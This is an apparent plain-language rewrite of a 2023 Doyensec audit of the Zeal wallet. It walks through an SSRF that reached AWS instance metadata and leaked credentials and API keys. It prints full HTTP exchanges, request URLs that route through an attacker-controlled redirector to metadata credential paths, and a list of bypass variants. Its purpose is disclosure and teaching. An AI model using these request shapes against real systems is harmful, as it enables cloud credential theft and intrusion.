Zeal Wallet Browser Extension and Backend Security Audit Report (Q3 2023)
The /wallet/unblock endpoint accepted a user-supplied path and made an HTTP request to it, allowing an attacker to reach internal services and the AWS instance metadata service. Because IMDSv1 was enabled, the attacker could read AWS credentials and API keys.
Published on doyensec.com
Prepared for: Grwth Lbs Ltd Prepared by: Norbert Szetei, Szymon Drosdzol, John Villamil Date: September 8th, 2023
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Grwth Lbs Ltd engaged Doyensec to assess the Zeal wallet browser extension and its backend. The engagement ran from 28 August 2023 to 1 September 2023 and used three security researchers. The agreed scope was the Zeal Wallet frontend and backend and the Zeal Wallet browser extension, tested in production and development environments using the latest software at the time. Grwth Lbs also provided access to a production build of the extension.
The assessment was a whitebox exercise: source code, the online environment and extension builds were available, and testing combined dynamic fault injection with source review. The project produced eleven findings, one of them rated high. In November 2023 Doyensec retested against release v0.3.45 of the extension and commit 104ab926a of github.com/zealwallet/monorepo, and confirmed the mitigations. The report represents the state of the findings as of 17 November 2023.
One scoping note matters for anyone reproducing this work: the Google Drive Backup functionality and the Zeal Recovery File Import were not working during the engagement, so those areas could not be tested.
Setup
The builds under test were:
- Zeal Wallet 0.3.33
development_build.zip(sha1:d066366712)production_build.zip(sha1:ab90510ca2)monorepo-doyensec.tar.gz(sha1:4e58af06e7)
Tooling was Burp Suite (including Collaborator and Turbo Intruder), Nikto, SSLScan, Nmap, and curl, netcat and other Linux utilities. Testing was done remotely from Doyensec's EMEA and US offices.
For the SSRF finding, the precondition is only that the attacker can reach the /wallet/unblock endpoint with a valid Authorization header. The report notes that the extension is public and such a header can be easily retrieved, so this is not a real barrier.
Finding it
The starting point was the path parameter of the /wallet/unblock API endpoint. The backend takes that value and initiates an HTTP(S) connection to it. That is the shape of a server-side request forgery: the attacker chooses a destination, the server makes the connection, and the attacker sees the result.
Because the response body comes back in full, the same primitive can be pointed at internal services that are behind a firewall and not reachable from the internet, at internal unprotected webhooks, and at internal API endpoints. The report also notes that the endpoint accepts private IP addresses, which allows a Cross Site Port Attack: a port scan conducted from the context of the vulnerable host, to enumerate services on the application server, the victim server or neighbouring servers.
Exploitation
Step 1: confirm the SSRF with an external host
A POST is sent to /wallet/unblock/ with the path parameter set to u:[redacted], a Google-owned server. The response body contains that server's page, which shows the request was routed through the Zeal backend.
POST /wallet/unblock/?path=u:[redacted]/ HTTP/2
Host: iw8i6d52oi.execute-api.eu-west-2.amazonaws.com
Content-Length: 2
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
Authorization: Signature [redacted]; Message test
Unblock-Session-Id: 421d886a-33e4-432f-9dd5-39610483f122
Content-Type: application/json
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "macOS"
Origin: chrome-extension://heamnjbnflcikcggoiplibfommfbkjpj
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{}
The Authorization header carries a signature and message, and Unblock-Session-Id identifies the unblock session. The Origin header is the extension's own origin. The body is an empty JSON object.
The response is a 200 with the Google Public DNS page in full:
HTTP/2 200 OK
Date: Tue, 29 Aug 2023 10:38:12 GMT
Content-Type: text/plain
Content-Length: 1381
Apigw-Requestid: KayXRivDrPEEJuQ=
Trace-Id: [redacted]
Access-Control-Allow-Origin: chrome-extension://heamnjbnflcikcggoiplibfommfbkjpj
Vary: Origin
Access-Control-Allow-Headers: Content-Type
<!DOCTYPE html>
<html lang="en">
<head>
<title>Google Public DNS</title>
<meta charset="UTF-8">
<link href="/static/93dd5954/favicon.png" rel="shortcut icon" type="image/png">
<link href="/static/836aebc6/matter.min.css" rel="stylesheet">
<link href="/static/b8536c37/shared.css" rel="stylesheet">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="/static/d05cd6ba/root.css" rel="stylesheet">
</head>
<body>
<span class="filler top"></span>
<div class="logo" title="Google Public DNS">
<div class="logotext"><span>Public DNS</span></div>
</div>
<form action="/query" method="GET">
<div class="row">
<label class="matter-textfield-outlined">
<input type="text" name="name" placeholder=" ">
<span>DNS Name</span>
<p class="help">
Enter a domain (like example.com) or IP address (like [redacted] or 2001:4860:4860::8844) here.
</p>
</label>
<button class="matterbutton-contained matter-primary" type="submit">Resolve</button>
</div>
</form>
<span class="filler bottom"></span>
<footer class="row">
<a href="https://developers.google.com/speed/public-dns">Help</a>
<a href="/cache">Cache Flush</a>
<span class="filler"></span>
<a href="https://developers.google.com/speed/public-dns/docs/using">
Get Started with Google Public DNS
</a>
</footer>
<script nonce="B7ggdDtnFnZQxySNAoBSKg">document.forms[0].name.focus();</script>
</body>
</html>
Step 2: observe the backend's own request
Pointing the path at an attacker-controlled Collaborator-style host (oastify) shows the request the Zeal backend makes. It carries an API key, and the same key was observed for dev and prod:
POST / HTTP/1.1
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
Authorization: API-Key I6IS5I88*****8cbVtshld
Content-Length: 151
Host: [redacted].oastify.com
Connection: keep-alive
User-Agent: Apache-HttpClient/5.1.3 (Java/[redacted])
{}
The User-Agent identifies the request as coming from the vulnerable application rather than the attacker. The Authorization header leaks the platform's API key to whatever host the attacker names.
Step 3: reach the EC2 metadata service
The report gives two request shapes for pulling AWS credentials through the SSRF, using an attacker-controlled redirector (redir.php):
/wallet/unblock/?path=u:p@<ATTACKER_CONTROLLED_SERVER>/redir.php?r=http://[redacted]/latest/meta-data/iam/security-credentials/terraform-20230623203923604500000003/wallet/unblock/?path=u:p@<ATTACKER_CONTROLLED_SERVER>/redir.php?r=http://[redacted]/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Visiting http://[redacted]/latest/user-data through the same primitive leaked the New Relic license_key value.
Step 4: confirm IMDSv1 is in use
The metadata service answered without a session token, which means IMDSv1. The report's verification step is to log in to a vulnerable EC2 instance and run:
$ curl http://[redacted]/latest/
A 200 OK with instance data means IMDSv1 is in use; without a token the request should otherwise fail. Because of this, the SSRF yielded credentials of the following form:
{
"Code" : "Success",
"LastUpdated" : "2023-08-30T05:53:36Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASI<REDACTED>U5S",
"SecretAccessKey" : "a6wP<REDACTED>bBdV",
"Token" : "IQoJ<REDACTED>gg==",
"Expiration" : "2023-08-30T11:54:23Z"
}
Root cause
The path parameter of /wallet/unblock is used to build an outbound HTTP(S) request without any restriction on the destination. The report states plainly that no mitigation was in place to prevent this. The endpoint accepts private IP addresses, and the report's reproduction uses a redirector on an attacker host to reach [redacted].
The second layer is AWS configuration: IMDSv2 was not enabled, so the metadata service answered unauthenticated requests. IMDSv2 is session-oriented and not enabled by default; it has to be configured explicitly. The report frames this as missing hardening rather than a vulnerability in itself, one that elevates the severity of other issues.
The third layer is secret management: the same API credentials were shared between development and production, and the New Relic API key was shared between environments too. Zeal engineers were already aware of the shared API key value. Both keys were obtained through the SSRF.
Impact
Through the SSRF an attacker gains information about the local system, the internal network and potentially machines in adjacent networks, and can cause unwanted interactions with internal systems. In this deployment the attacker could obtain AWS keys and the API keys used by the platform, and read the New Relic licence key from user data. The report rates the SSRF high, with medium complexity: the attacker only abuses existing functionality.
For the shared keys, the report rates impact as potentially high. Development credentials can leak through version control, email or being posted online, and many developers come into contact with them over the life of a project, which makes usage impossible to trace and limit. Sharing them with production increases the severity of misuse. Complexity is rated high because a separate vulnerability is needed to retrieve the secrets, and it varies with how source code is stored and how much access engineers have.
For the missing IMDSv2, impact is rated high: it leaves the instance unprotected against SSRF and can lead to information disclosure and potentially full system compromise.
Fix
All three issues were closed. For the SSRF, the team put specific communication paths in place (referenced as #1847). For the metadata service, the team enabled IMDSv2 by requiring token-backed sessions. For the shared keys, only the Unblock and New Relic services were affected; all other services have different keys stored in a secrets manager (#2014).
The report's general remediation advice for SSRF is worth keeping: guards are often implemented incorrectly, by blocking all IP addresses, not handling IPv6, following HTTP redirects, or having time-of-check to time-of-use issues. It suggests SSRF protection libraries (Advocate for Python, SafeURL for PHP, Scala and Python, SSRF_Filter for Ruby), which resolve a domain to an IP and check whether it belongs to a private range (RFC 1918), or an allowlist of permitted hosts, or strong network isolation such as iptables or Smokescreen. For secrets, store credentials in a configuration file segregated from source, or use a storage and retrieval system, with restricted file permissions and restricted access to anything that stores credentials; Vault and AWS Secrets Manager are named.
Variants to test
- Redirect-based bypass. Put a redirector on a host you control and point the parameter at it, with the redirect target set to
http://[redacted]/latest/meta-data/. A positive result is metadata content in the response body, or a request arriving at your redirector with the backend'sUser-Agent. - Private-range targets. Substitute RFC 1918 addresses and common internal ports for the external host. A positive result is a response body from an internal service, or timing differences that reveal open ports (XSPA).
- IPv6 and alternate encodings. Try IPv6 literals and decimal or octal forms of
[redacted]. A positive result is metadata content where the plain form was blocked. - IMDSv1 check on other instances. Run the
curl http://[redacted]/latest/check from any instance you can reach. A 200 with instance data means IMDSv1 is still in use. - Credential leakage to attacker hosts. Point the parameter at a logging server and inspect the incoming request headers. A positive result is an
Authorizationheader or other secret sent by the backend. - User data exposure. Request
http://[redacted]/latest/user-datathrough the same primitive. A positive result is bootstrap scripts or licence keys in the response.
What happened, in plain words
A company called Grwth Lbs Ltd makes a cryptocurrency wallet called Zeal. A crypto wallet is a piece of software that stores the secret codes (keys) that let you own and move digital money. Zeal comes in two parts: a browser extension (a small program you install into Chrome, which adds a button and a panel to your browser) and a backend (servers on the internet that the extension talks to).
Grwth Lbs hired a security company, Doyensec, to try to break into their own product before criminals did. Three Doyensec researchers spent about a week, from 28 August 2023 to 1 September 2023, looking at the code and poking at the live system. They were allowed to read the source code, which is called a whitebox test: like being given the blueprint of a building as well as the keys to the front door.
The team found eleven problems. One of them was serious: a way to make Zeal's servers fetch any web address the attacker chose, including secret internal addresses that are normally unreachable from the internet. That kind of bug is called Server-Side Request Forgery, or SSRF. Using it, the researchers pulled out cloud credentials (passwords for Amazon Web Services, the cloud platform Zeal runs on) and API keys (passwords that programs use to talk to each other).
In November 2023 Doyensec came back and checked the fixes, against version v0.3.45 of the extension and a specific snapshot of the code repository. The fixes held. This article walks through what they found, in the order they found it, and explains every term along the way.
One thing to know up front: two features, Google Drive Backup and Zeal Recovery File Import, were broken during the test, so the researchers could not examine them. That is a gap in coverage, not a finding.
Context
Who did what
- Grwth Lbs Ltd owns the Zeal wallet and paid for the test.
- Doyensec is the security firm that did the testing, with researchers Norbert Szetei, Szymon Drosdzol and John Villamil.
- The test ran from 28 August to 1 September 2023.
- The retest in November 2023 confirmed the fixes.
What was tested
The agreed scope, meaning the list of things the researchers were allowed to attack, was:
- the Zeal Wallet frontend (the part users see and click) and backend (the servers behind it);
- the Zeal Wallet browser extension.
Both the production environment (the real, live system used by customers) and the development environment (a copy used by the programmers while building) were in scope. Testing used the newest software available at the time, and Grwth Lbs also handed over a production build of the extension, meaning the packaged file that gets installed into the browser.
How they worked
A whitebox assessment means the testers had the source code, the running environment and the extension builds. They combined two approaches:
- Dynamic fault injection: sending deliberately malformed or hostile input to the running system and watching what happens.
- Source review: reading the code to spot mistakes that are hard to trigger from outside.
Mixing the two is efficient: the code tells you where to aim, and the live system tells you whether the aim worked.
The result
Eleven findings, one rated high severity. Severity is a rough label for how much damage a bug could cause, from informational (a note, not really a bug) up to critical. The report reflects the state of things as of 17 November 2023, after the retest.
Setup
The exact software versions
The researchers recorded what they tested so the work could be repeated later:
- Zeal Wallet 0.3.33
development_build.zip(sha1:d066366712)production_build.zip(sha1:ab90510ca2)monorepo-doyensec.tar.gz(sha1:4e58af06e7)
A sha1 here is a fingerprint of a file: a short string computed from the file's contents. If two files have the same fingerprint, they are almost certainly identical. Recording it proves exactly which build was examined.
The tools
- Burp Suite: a program that sits between your browser and a website so you can read and edit every request and response. It includes Collaborator, a service that gives you a unique throwaway hostname and tells you when something on the internet contacts it, and Turbo Intruder, which fires many requests very fast.
- Nikto: a scanner that looks for common web server mistakes.
- SSLScan: checks how a server handles encrypted connections (HTTPS).
- Nmap: maps which network ports on a machine are open, like knocking on every door of a building to see which ones answer.
- curl, netcat and other Linux utilities: small command-line tools for sending requests and moving data.
Testing was done remotely from Doyensec's offices in Europe, the Middle East and Africa (EMEA) and the United States.
The one precondition for the big bug
To use the SSRF, an attacker needs to reach the /wallet/unblock endpoint with a valid Authorization header. An endpoint is a specific address on a server that does one job, like a counter in a post office. A header is a line of extra information attached to a web request, like the label on a parcel. Authorization is the header that proves who is asking.
The report notes that the extension is public and such a header can be easily retrieved. In other words, the lock on the door is not a real barrier: anyone can install the extension, watch what it sends, and copy the header.
Finding it
The starting point was the path parameter of the /wallet/unblock API endpoint. A parameter is a named value attached to a request, like the fields on a form. Here, path is supposed to say which address the server should contact as part of the unblock process.
The backend takes that value and opens an HTTP(S) connection to it. HTTP is the language browsers and servers use to exchange pages and data; HTTPS is the same language wrapped in encryption. That is the shape of server-side request forgery: the attacker chooses a destination, the server makes the connection, and the attacker sees the result. The server is being used as a proxy, a middleman, without the attacker needing any access to the internal network.
Because the response body (the content the server sends back) comes back in full, the same trick can be aimed at:
- internal services behind a firewall (a firewall is a filter that blocks traffic from outside but often allows traffic from inside);
- internal webhooks (automatic notifications one system sends to another);
- internal API endpoints.
An API is the set of addresses and rules a program uses to ask another program for things, like a waiter's menu and ordering process between you and the kitchen.
The report also notes that the endpoint accepts private IP addresses. An IP address is a number that identifies a machine on a network, like a street address. Private addresses are the ones used inside a company's own network and are not reachable from the public internet. Accepting them allows a Cross Site Port Attack (XSPA): a port scan conducted from the context of the vulnerable host. A port is a numbered channel on a machine, like an extension number in a phone system; a port scan means trying each number to see which ones answer. Doing it from the server's own position lets an attacker map services on the application server, the victim server or neighbouring servers that the outside world cannot see.
Exploitation
Step 1: confirm the SSRF with an external host
The first job is to prove the bug is real. The researchers sent a POST request (a request that submits data) to /wallet/unblock/ with the path parameter set to u:[redacted]. The u:p@ part is a username and password prefix in a URL; [redacted] is a well-known server owned by Google. If the Zeal backend really fetches whatever address it is given, the response will contain that server's page.
POST /wallet/unblock/?path=u:[redacted]/ HTTP/2
Host: iw8i6d52oi.execute-api.eu-west-2.amazonaws.com
Content-Length: 2
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
Authorization: Signature [redacted]; Message test
Unblock-Session-Id: 421d886a-33e4-432f-9dd5-39610483f122
Content-Type: application/json
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "macOS"
Origin: chrome-extension://heamnjbnflcikcggoiplibfommfbkjpj
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{}
Line by line:
POST /wallet/unblock/?path=u:[redacted]/ HTTP/2: the method is POST, the address is the unblock endpoint, and thepathparameter points at Google's server. HTTP/2 is the version of the protocol being used.Host: iw8i6d52oi.execute-api.eu-west-2.amazonaws.com: the server being contacted. Theexecute-apipart tells you this is an Amazon API Gateway, a service that puts a front door on backend code.Content-Length: 2: the body is two bytes long, which matches the empty JSON object{}at the end.Sec-Ch-Ua,Sec-Ch-Ua-Mobile,Sec-Ch-Ua-Platform: headers in which the browser describes itself (which browser, which operating system).User-Agent: the classic version of the same thing, naming Chrome 113 on macOS.Authorization: Signature ...; Message test: the proof that the caller is allowed in. It carries a cryptographic signature and a message. A signature is a value computed with a secret key that proves the sender holds that key, without revealing it.Unblock-Session-Id: an identifier for this particular unblock session, so the server can keep track of the flow.Content-Type: application/json: the body is JSON, a text format for structured data.Accept: what kind of response the caller is willing to receive.Origin: chrome-extension://heamnjbnflcikcggoiplibfommfbkjpj: the request claims to come from the Zeal extension. The long string is the extension's identifier in Chrome.Sec-Fetch-Site,Sec-Fetch-Mode,Sec-Fetch-Dest: headers the browser adds to describe how the request was triggered.Accept-Encoding,Accept-Language: what compression and language the caller prefers.{}: the body, an empty JSON object.
The response came back as a 200, which is the standard code for success, with the Google Public DNS page in full:
HTTP/2 200 OK
Date: Tue, 29 Aug 2023 10:38:12 GMT
Content-Type: text/plain
Content-Length: 1381
Apigw-Requestid: KayXRivDrPEEJuQ=
Trace-Id: [redacted]
Access-Control-Allow-Origin: chrome-extension://heamnjbnflcikcggoiplibfommfbkjpj
Vary: Origin
Access-Control-Allow-Headers: Content-Type
Line by line:
HTTP/2 200 OK: the protocol version and the success code.Date: when the response was produced.Content-Type: text/plain: the body is plain text.Content-Length: 1381: the body is 1381 bytes long.Apigw-RequestidandTrace-Id: identifiers the cloud platform attaches so engineers can find this exact request in their logs.Access-Control-Allow-Origin: a rule saying which website is allowed to read the response. Here it names the Zeal extension. This is part of CORS, the browser mechanism that stops one website from reading another's data.Vary: Origin: tells caches that the answer depends on theOriginheader, so they do not serve one origin's response to another.Access-Control-Allow-Headers: Content-Type: which request headers the browser is allowed to send in cross-origin requests.
<!DOCTYPE html>
<html lang="en">
<head>
<title>Google Public DNS</title>
<meta charset="UTF-8">
<link href="/static/93dd5954/favicon.png" rel="shortcut icon" type="image/png">
<link href="/static/836aebc6/matter.min.css" rel="stylesheet">
<link href="/static/b8536c37/shared.css" rel="stylesheet">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="/static/d05cd6ba/root.css" rel="stylesheet">
</head>
<body>
<span class="filler top"></span>
<div class="logo" title="Google Public DNS">
<div class="logotext"><span>Public DNS</span></div>
</div>
<form action="/query" method="GET">
<div class="row">
<label class="matter-textfield-outlined">
<input type="text" name="name" placeholder=" ">
<span>DNS Name</span>
<p class="help">
Enter a domain (like example.com) or IP address (like [redacted] or 2001:4860:4860::8844) here.
</p>
</label>
<button class="matterbutton-contained matter-primary" type="submit">Resolve</button>
</div>
</form>
<span class="filler bottom"></span>
<footer class="row">
<a href="https://developers.google.com/speed/public-dns">Help</a>
<a href="/cache">Cache Flush</a>
<span class="filler"></span>
<a href="https://developers.google.com/speed/public-dns/docs/using">
Get Started with Google Public DNS
</a>
</footer>
<script nonce="B7ggdDtnFnZQxySNAoBSKg">document.forms[0].name.focus();</script>
</body>
</html>
Line by line:
<!DOCTYPE html>and<html lang="en">: the start of a normal web page, in English.<head>and the<title>: the page's title, Google Public DNS. DNS is the internet's phone book, turning names like example.com into IP addresses.- The
<link>tags: stylesheets and a favicon (the little icon in the browser tab). <meta name="viewport" ...>: tells mobile browsers how to scale the page.<body>: the visible content.- The
<div class="logo">block: the page's logo area. - The
<form action="/query" method="GET">: a form that sends a query to/query. - The
<input type="text" name="name">: the text box where a visitor types a domain or IP address. - The
<p class="help">text: instructions, mentioning[redacted]and an IPv6 address. - The
<button>: the Resolve button. - The
<footer>links: Help, Cache Flush, and a getting-started link. - The
<script nonce=...>: a small script that puts the cursor in the text box. Thenonceis a one-time random value that lets this script run under a strict security policy.
Why this matters: the page is Google's, not Zeal's. The only way it could appear in the response is if the Zeal server fetched it on the researcher's behalf. The bug is confirmed.
Step 2: observe the backend's own request
Next, the researchers pointed path at a host they controlled, an oastify server. Oastify is a service that gives you a unique hostname and records every request that arrives at it, so you can see what a server sends when it thinks nobody is watching. The captured request shows what the Zeal backend does when it follows the path:
POST / HTTP/1.1
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
Authorization: API-Key I6IS5I88*****8cbVtshld
Content-Length: 151
Host: [redacted].oastify.com
Connection: keep-alive
User-Agent: Apache-HttpClient/5.1.3 (Java/[redacted])
{}
Line by line:
POST / HTTP/1.1: a POST to the root of the attacker's host.Content-TypeandAccept: JSON in, JSON out.Authorization: API-Key I6IS5I88*****8cbVtshld: the backend's own API key, sent to whatever host the attacker named. The middle is masked in the report, but the point is that a real secret left the building.Content-Length: 151: the body length.Host: the attacker's oastify hostname.Connection: keep-alive: keep the network connection open for more requests.User-Agent: Apache-HttpClient/5.1.3 (Java/[redacted]): this identifies the request as coming from a Java program, not a browser. That is how the researchers knew the Zeal backend, not the attacker, made the call.{}: an empty JSON body.
The same key was observed for development and production. That is a separate finding, covered later: a secret used in the test environment should never be the same one used for real customers.
Step 3: reach the EC2 metadata service
Now the serious part. Cloud servers such as Amazon EC2 (Elastic Compute Cloud, Amazon's rent-a-server service) have a special internal address, [redacted], called the instance metadata service. Any program running on the server can ask that address questions about itself: what its identity is, what permissions it has, and what temporary credentials it should use. It is like a staff noticeboard inside an office that only employees can read.
The report gives two request shapes for pulling AWS credentials through the SSRF. Both use an attacker-controlled redirector, redir.php:
/wallet/unblock/?path=u:p@<ATTACKER_CONTROLLED_SERVER>/redir.php?r=http://[redacted]/latest/meta-data/iam/security-credentials/terraform-20230623203923604500000003/wallet/unblock/?path=u:p@<ATTACKER_CONTROLLED_SERVER>/redir.php?r=http://[redacted]/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Line by line:
/wallet/unblock/?path=: the same vulnerable endpoint and parameter.u:p@<ATTACKER_CONTROLLED_SERVER>: the username and password prefix, then the attacker's own server. The attacker's server is the first hop./redir.php?r=: a small script on the attacker's server that takes thervalue and redirects the caller to it. A redirect is a server's way of saying "not here, go there instead".http://[redacted]/latest/meta-data/iam/security-credentials/...: the metadata address and the path that lists the credentials attached to the server's IAM role. IAM is Amazon's identity and access management system, the set of rules about who can do what.- The second URL uses
identity-credentials/ec2/security-credentials/ec2-instance, another metadata path that returns the instance's own credentials.
The redirector sits on the attacker's own server and forwards the request to the internal metadata address.
Visiting http://[redacted]/latest/user-data through the same trick leaked the New Relic license_key value. User data is the startup script a cloud server runs when it first boots, and people often put secrets in it. New Relic is a monitoring service; its licence key is the secret that lets software send data to it.
Step 4: confirm IMDSv1 is in use
The metadata service answered without a session token. That means the older version, IMDSv1, was in use. IMDSv2 is the newer, session-oriented version: the caller must first ask for a token and then present it, which stops a simple SSRF from working because the attacker's request does not carry the token.
The report's verification step is to log in to a vulnerable EC2 instance and run:
$ curl http://[redacted]/latest/
Line by line:
$: the shell prompt, meaning "type the rest of this line into a terminal".curl: a command-line tool that fetches a URL.http://[redacted]/latest/: the metadata address and its top-level listing.
A 200 OK with instance data means IMDSv1 is in use. Without a token, an IMDSv2-only service should refuse the request. Because IMDSv1 was answering, the SSRF yielded credentials of this form:
{
"Code" : "Success",
"LastUpdated" : "2023-08-30T05:53:36Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASI<REDACTED>U5S",
"SecretAccessKey" : "a6wP<REDACTED>bBdV",
"Token" : "IQoJ<REDACTED>gg==",
"Expiration" : "2023-08-30T11:54:23Z"
}
Line by line:
Code: Success: the metadata service says the request worked.LastUpdated: when these credentials were issued.Type: AWS-HMAC: the kind of credential. HMAC is a way of signing data with a shared secret.AccessKeyId: the public half of an AWS credential, like a username.SecretAccessKey: the private half, like a password. It is masked here.Token: a temporary session token that must accompany the other two. It is masked here.Expiration: when the credentials stop working. Temporary credentials limit the damage, but they are still enough to do real harm while they last.
Root cause
Three layers combined to make this possible.
Layer one: the code. The path parameter of /wallet/unblock is used to build an outbound HTTP(S) request without any restriction on the destination. The report states plainly that no mitigation was in place. The endpoint accepts private IP addresses, and the report's reproduction uses a redirector on an attacker host to reach [redacted].
Layer two: the cloud configuration. IMDSv2 was not enabled, so the metadata service answered unauthenticated requests. IMDSv2 is session-oriented and not enabled by default; it has to be configured explicitly. The report frames this as missing hardening rather than a vulnerability in itself, one that raises the severity of other issues. Hardening means tightening the settings beyond the defaults, like adding a second lock to a door that already has one.
Layer three: secret management. The same API credentials were shared between development and production, and the New Relic API key was shared between environments too. Zeal engineers were already aware of the shared API key value. Both keys were obtained through the SSRF.
Impact
Through the SSRF an attacker gains information about the local system, the internal network and potentially machines in adjacent networks, and can cause unwanted interactions with internal systems. In this deployment the attacker could obtain AWS keys and the API keys used by the platform, and read the New Relic licence key from user data.
The report rates the SSRF high, with medium complexity. Complexity here means how hard it is to carry out: medium because the attacker only abuses existing functionality, no special access required.
For the shared keys, impact is rated potentially high. Development credentials can leak through version control (the system that stores code history, such as Git), email, or being posted online. Many developers come into contact with them over the life of a project, which makes usage impossible to trace and limit. Sharing them with production increases the severity of misuse. Complexity is rated high because a separate vulnerability is needed to retrieve the secrets, and it varies with how source code is stored and how much access engineers have.
For the missing IMDSv2, impact is rated high: it leaves the instance unprotected against SSRF and can lead to information disclosure and potentially full system compromise.
Fix
All three issues were closed. For the SSRF, the team put specific communication paths in place (referenced as #1847). For the metadata service, the team enabled IMDSv2 by requiring token-backed sessions. For the shared keys, only the Unblock and New Relic services were affected; all other services have different keys stored in a secrets manager (#2014). A secrets manager is a dedicated vault for passwords and keys, so they are not scattered through code and configuration files.
The report's general remediation advice for SSRF is worth keeping. Guards are often implemented incorrectly, by blocking all IP addresses, not handling IPv6 (the newer, longer form of IP address), following HTTP redirects, or having time-of-check to time-of-use issues. A time-of-check to time-of-use issue is when a system checks something and then uses it later, and an attacker changes it in between, like a bouncer checking a ticket and then someone swapping it before the person walks in.
The report suggests SSRF protection libraries: Advocate for Python, SafeURL for PHP, Scala and Python, and SSRF_Filter for Ruby. These resolve a domain to an IP and check whether it belongs to a private range (RFC 1918, the standard that defines which addresses are private), or use an allowlist of permitted hosts, or apply strong network isolation such as iptables (a Linux firewall tool) or Smokescreen (a proxy that only allows approved destinations).
For secrets, store credentials in a configuration file segregated from source, or use a storage and retrieval system, with restricted file permissions and restricted access to anything that stores credentials. Vault and AWS Secrets Manager are named as options.
Variants to test
If you are testing a similar system, these are the variations worth trying. Each one lists what a positive result looks like.
- Redirect-based bypass. Put a redirector on a host you control and point the parameter at it, with the redirect target set to
http://[redacted]/latest/meta-data/. A positive result is metadata content in the response body, or a request arriving at your redirector with the backend'sUser-Agent. - Private-range targets. Substitute RFC 1918 addresses and common internal ports for the external host. A positive result is a response body from an internal service, or timing differences that reveal open ports (XSPA).
- IPv6 and alternate encodings. Try IPv6 literals and decimal or octal forms of
[redacted]. A positive result is metadata content where the plain form was blocked. - IMDSv1 check on other instances. Run the
curl http://[redacted]/latest/check from any instance you can reach. A 200 with instance data means IMDSv1 is still in use. - Credential leakage to attacker hosts. Point the parameter at a logging server and inspect the incoming request headers. A positive result is an
Authorizationheader or other secret sent by the backend. - User data exposure. Request
http://[redacted]/latest/user-datathrough the same primitive. A positive result is bootstrap scripts or licence keys in the response.
Glossary
- API: the set of addresses and rules one program uses to ask another program for things, like a menu and ordering process between you and a kitchen.
- API key: a secret string a program presents to prove it is allowed to use a service, like a password for software.
- API Gateway: a cloud service that puts a front door on backend code, handling routing and access.
- AWS: Amazon Web Services, a cloud platform that rents out servers and services.
- Backend: the servers and code behind a product, which users do not see directly.
- Browser extension: a small program installed into a browser that adds features, such as a wallet panel.
- Build: a packaged version of software produced from source code, ready to install.
- Clickjacking: tricking a user into clicking something hidden or disguised, often by embedding another site in an invisible frame.
- CORS: a browser rule that controls which websites may read responses from other websites.
- Credentials: the secrets that prove identity, such as usernames, passwords, keys and tokens.
- Cross Site Port Attack (XSPA): using a vulnerable server to scan ports on internal machines, revealing which services are running.
- curl: a command-line tool for fetching URLs.
- Denial of Service (DoS): making a service unavailable to its real users, for example by flooding it with requests.
- Development environment: a copy of a system used by programmers while building, separate from the live one.
- DNS: the internet's phone book, turning names like example.com into IP addresses.
- EC2: Amazon's service for renting virtual servers.
- Endpoint: a specific address on a server that performs one job.
- Firewall: a filter that blocks or allows network traffic, often protecting an internal network from the internet.
- Frontend: the part of a product users see and interact with.
- Hardening: tightening settings beyond defaults to reduce risk.
- Header: a line of extra information attached to a web request or response.
- HMAC: a way of signing data with a shared secret to prove it has not been tampered with.
- HSTS: a response header that tells browsers to use only HTTPS for a domain.
- HTTP / HTTPS: the language browsers and servers use to exchange data; HTTPS is the same language with encryption.
- IAM: Amazon's identity and access management system, defining who can do what.
- IMDSv1 / IMDSv2: versions of the EC2 metadata service; v2 requires a session token, v1 does not.
- Instance: a single virtual server running in the cloud.
- IP address: a number identifying a machine on a network.
- JSON: a text format for structured data, using curly braces and key-value pairs.
- Metadata service: an internal address on a cloud server that answers questions about the server itself, including its credentials.
- New Relic: a monitoring service that collects performance data from software.
- Oastify: a service that gives you a unique hostname and records requests arriving at it, used to observe outbound traffic.
- Parameter: a named value attached to a request, like a field on a form.
- Port: a numbered channel on a machine, like an extension number in a phone system.
- Port scan: trying each port on a machine to see which ones answer.
- Production environment: the live system used by real customers.
- Redirect: a server's instruction to the caller to go to a different address instead.
- RFC 1918: the standard defining which IP addresses are private and not routable on the public internet.
- Secrets manager: a dedicated vault for storing passwords and keys securely.
- Severity: a label for how much damage a bug could cause, from informational to critical.
- sha1: a fingerprint computed from a file's contents, used to identify a specific build.
- Signature: a value computed with a secret key that proves the sender holds that key, without revealing it.
- SSRF (Server-Side Request Forgery): making a server fetch an address of the attacker's choosing, so the attacker can reach internal systems through the server.
- Token: a value that proves identity or permission for a session, often temporary.
- User data: the startup script a cloud server runs when it first boots, sometimes containing secrets.
- Whitebox testing: testing with access to the source code, as opposed to blackbox testing without it.
- XSPA: see Cross Site Port Attack.